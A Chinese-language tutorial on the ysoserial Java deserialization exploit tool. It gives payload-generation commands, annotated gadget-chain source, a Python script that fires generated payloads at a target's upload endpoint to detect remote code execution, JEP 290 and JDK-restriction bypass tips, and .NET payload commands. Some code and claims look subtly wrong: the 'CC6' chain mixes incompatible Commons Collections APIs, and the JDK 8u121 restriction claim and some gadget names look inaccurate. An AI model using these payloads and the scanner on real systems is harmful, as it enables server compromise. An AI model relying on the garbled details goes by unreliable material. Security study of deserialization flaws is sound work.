一、ysoserial 是什么
ysoserial 是由 Frohoff 开发的 Java 反序列化利用工具,自 2015 年开源以来一直是反序列化攻击的事实标准。它的核心能力是给定一个目标链(Gadget)和一个执行载荷(Payload),生成可直接喂给 ObjectInputStream 的序列化字节流。
java -jar ysoserial.jar CommonsCollections6 'touch /tmp/pwned' > payload.bin
java -jar ysoserial.jar CommonsCollections6 'id' | base64 -d > payload.bin
二、项目结构
ysoserial/src/main/java/ysoserial/
├── payloads/
│ ├── CommonsCollections1.java
│ ├── CommonsCollections6.java
│ ├── CommonsCollections8.java
│ ├── BeanUtils1.java
│ ├── Shiro.java
│ └── Spring1.java
├── Payload.java // Payload 接口
├── PayloadRunner.java // 主程序
├── Serializer.java
└── Utils.java
2.1 Payload 接口
public interface Payload<T1, T2> {
T2 getObject(T1 command) throws Exception;
}
2.2 @Payload 注解注册
@Payload(author = "@matthias_kaiser",
url = "https://blog.chaitin.cn/2015-11-11_java_unserialize_02/",
dependencies = {"commons-collections:commons-collections:3.1"})
public class CommonsCollections6 implements Payload<Object> { ... }
2.3 PayloadRunner 主入口
public class PayloadRunner {
public static void run(final Class<? extends Payload> payloadClass,
final String[] args) throws Exception {
Payload payload = payloadClass.newInstance();
Object object = payload.getObject(args[0]);
byte[] bytes = Serializer.serialize(object);
System.out.println(Base64.getEncoder().encodeToString(bytes));
}
}
三、CC6 Payload 源码解析
public class CommonsCollections6 implements Payload<Object> {
public Object getObject(final String command) throws Exception {
final String[] execArgs = new String[]{command};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, execArgs)
};
final Transformer chainedTransformer = new ChainedTransformer(transformers);
final Map map = new HashMap();
final Map lazyMap = LazyMap.decorate(map, chainedTransformer);
final Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
final Constructor<?> ctor = cls.getDeclaredConstructor(Map.class, Class.class);
ctor.setAccessible(true);
final Object aih = ctor.newInstance(lazyMap, Retention.class);
final Transformer[] transformers2 = new Transformer[]{
new ConstantTransformer(aih),
new InvokerTransformer("getAnnotation",
new Class[]{Class.class}, new Object[]{Override.class}),
new InvokerTransformer("hashCode",
new Class[0], new Object[0])
};
final TransformingComparator comparator = new TransformingComparator(
new ChainedTransformer(transformers2));
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1"); queue.add("1");
final Field field = PriorityQueue.class.getDeclaredField("queue");
field.setAccessible(true);
final Object[] queueArray = (Object[]) field.get(queue);
queueArray[0] = aih; queueArray[1] = aih;
return queue;
}
}
四、本地调试
4.1 独立调试器
import java.io.*;
import java.util.Base64;
public class DebugDeserializer {
public static void main(String[] args) throws Exception {
byte[] payload = Base64.getDecoder().decode(
new String(Files.readAllBytes(Paths.get(args[0]))));
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(payload)) {
@Override
protected Object resolveClass(ObjectStreamClass desc) throws Exception {
System.out.println("[*] Resolving class: " + desc.getName());
return super.resolveClass(desc);
}
};
Object result = ois.readObject();
System.out.println("[+] Result: " + result.getClass().getName());
ois.close();
}
}
4.2 Docker 隔离调试
FROM openjdk:8-jdk-slim
RUN apt-get update && apt-get install -y wget maven
WORKDIR /app
COPY ysoserial.jar .
CMD ["java", "-jar", "ysoserial.jar", "CommonsCollections6", "id"]
4.3 常见错误定位
| 错误 | 原因 | 修复 |
|---|---|---|
| InvocationTargetException | 链中间反射失败 | 检查 JDK 版本,Runtime.exec 在 u121+ 受限 |
| ClassNotFoundException | 目标无对应 CC 版本 | 换 CC7/CC4 链或加 -cp 指定 jar |
| InvalidClassException: filter status | JEP 290 白名单拦截 | -Djdk.serialFilter=org.apache.commons.collections.;! |
五、批量检测脚本
import subprocess, socket, time, base64, sys
def gen(gadget, cmd):
r = subprocess.run(["java","-jar","ysoserial.jar",gadget,cmd],
capture_output=True)
return base64.b64decode(r.stdout.strip())
def test_http(host, port, gadget, cmd="sleep 3"):
payload = gen(gadget, cmd)
import requests
files = {"f": ("a.bin", payload)}
try:
r = requests.post(f"http://{host}:{port}/upload", files=files, timeout=10)
return r.elapsed.total_seconds() > 3
except Exception as e:
print(f"[-] {gadget}: {e}")
return False
GADGETS = ["CommonsCollections1","CommonsCollections6","BeanUtils1","Spring1"]
target = sys.argv[1]
for g in GADGETS:
if test_http(target, 8080, g):
print(f"[!] {g} triggered RCE")
else:
print(f"[-] {g} not vulnerable")
六、局限与绕过
新版 JDK 8u121 之后 Runtime.exec 加了反射检查——Method.invoke 会检查 setAccessible 且是 private,抛出 InaccessibleObjectException。绕过方法是改成调 TemplatesImpl.defineTransletClasses 加载自己的字节码。CC4 的 InvokerTransformer 和 CC3 不兼容,ysoserial 有 CC7/CC8 专门对应 CC4。Shiro 1.4+ 默认 key 变了,需要动态探测。
七、自定义 Payload 开发
如果发现了新的 gadget 链:
@Payload(author = "@you", dependencies = {"mygadget:1.0"})
public class MyNewChain implements Payload<Object> {
public Object getObject(final String cmd) throws Exception {
// 把新链的末端换成 cmd 执行
MyGadget gadget = new MyGadget();
gadget.setCommand(cmd);
// 构造完整 payload object
return gadget.buildPayload();
}
}
打包后替换 ysoserial.jar 里的对应 class,就能在主程序里直接 -g MyNewChain 使用。
八、总结
ysoserial 的精髓在于把"发现链"和"利用链"模块化——任何发现新链的人只要实现 Payload 接口并加注解就能贡献。学习它的最佳路径是先读懂 CC6 Payload 源码,再自己实现一个简化版,最后尝试扩展新的 gadget 链。工具本身是中性的,防御侧应该关注类加载路径的白名单控制。
九、ysoserial 各 gadget 适用场景
| Gadget | 依赖 | JDK | 场景 |
|---|---|---|---|
| CommonsCollections1 | CC 3.x/4.x | 全 | 通用 |
| CommonsCollections2 | CC 3.x | 全 | CC 2 版本 |
| CommonsCollections5 | CC 3.x | 7u21+ | 绕过 AIH |
| CommonsCollections6 | CC 3.x | 全 | CC1 变体 |
| CommonsCollections7 | CC 3.x | 全 | Hashtable 入口 |
| CommonsCollections8 | CC 4.x | 全 | CC 4 版本 |
| CommonsBeanutils1 | BeanUtils + CC | 全 | Spring 环境 |
| Spring1 | Spring | 全 | Spring AOP |
| Shiro | Shiro + CC | 全 | rememberMe |
| Fastjson1 | Fastjson | 全 | @type 注入 |
| Jdk7u21 | 无 | 7u21+ | 纯 JDK 无依赖 |
| Jdk8u20 | 无 | 8u20+ | 纯 JDK |
| Groovy1 | Groovy | 全 | Groovy 环境 |
| Clojure1 | Clojure | 全 | Clojure 环境 |
| JRMP | 无 | 全 | JRMP RMI |
十、ysoserial 与 JDK 版本
JDK 8u121+ / 11.0.8+ 有 Runtime.exec 反射限制。CC 链直接调 Runtime.exec 的 Payload 在这些版本会失败。解法:
- 换成 TemplatesImpl 版本的 Payload(不调 Runtime.exec)
- 用 ysoserial 的 CommonsCollectionsX (TemplatesImpl version)
- 或者先探测 JDK 版本,动态选择 Payload
十一、ysoserial.net 与 .NET
.NET 平台也有类似工具:
ysoserial.exe -L
ysoserial.exe -g TypeConfuseDelegate -c "cmd /c calc.exe" -o raw
ysoserial.exe -g SonOfAnala -c "cmd /c whoami" -o raw
十二、和 ysoserial 类似的其他工具
| 工具 | 语言 | 说明 |
|---|---|---|
| ysoserial.net | C# | .NET 版本 |
| ysoserial-phar | PHP | PHP Phar 反序列化 |
| serializr | Python | 在线 payload 生成 |
| ffastjson | Python | Fastjson 专用 |
| CommonsCollectionsExploiter | Python | CC 链自动探测 |
| gadget-check | Python | 反序列化 gadget 检查 |
十三、总结补充
ysoserial 把 Java 反序列化攻击的门槛降到了"下载一个 jar 就能打"的程度。但理解原理仍然重要——当目标 classpath 很特殊时,你需要自己修改 Payload 或组合多个 Payload 才能成功。工具是武器库,但使用者需要懂每种武器的原理和限制。